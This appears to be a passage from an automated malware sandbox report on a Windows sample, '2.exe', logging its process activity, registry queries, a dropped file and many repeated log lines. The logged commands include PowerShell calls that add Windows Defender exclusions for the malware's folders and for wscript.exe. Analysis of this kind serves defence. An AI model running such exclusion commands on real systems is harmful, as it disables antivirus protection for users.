Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\GatonFiles''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\temp\Files''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionProcess 'C:\Windows\System32\wscript.exe''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 1 /nobreak	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 session	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertadorRapido.bat' '
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Mortu.bat' '
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wmic process where 'name='wscript.exe'' get ParentProcessID
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertaDespiertador.vbs'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process where 'name='wscript.exe'' get ParentProcessID
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertaDespiertador.bat' '
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Despiertador.vbs' param1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value
Source: C:\Windows\System32\wscript.exe	Process created: unknown unknown

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 2.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: 2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation:

Binary contains a suspicious time stamp

Show sources

Source: initial sample

Static PE information: 0xA0219704 [Thu Feb 18 09:31:48 2055 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFA1D917255 pushad ; retf	6_2_00007FFA1D917259
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFA1D917255 pushad ; retf	10_2_00007FFA1D917259
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFA1D9172AB push ebx; iretd	19_2_00007FFA1D91731A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFA1D9D9548 pushad ; ret	19_2_00007FFA1D9D9549

Persistence and Installation Behavior:

Source: C:\Users\user\Desktop\2.exe

File created: C:\GatonFiles\Scripts\Link.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\2.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
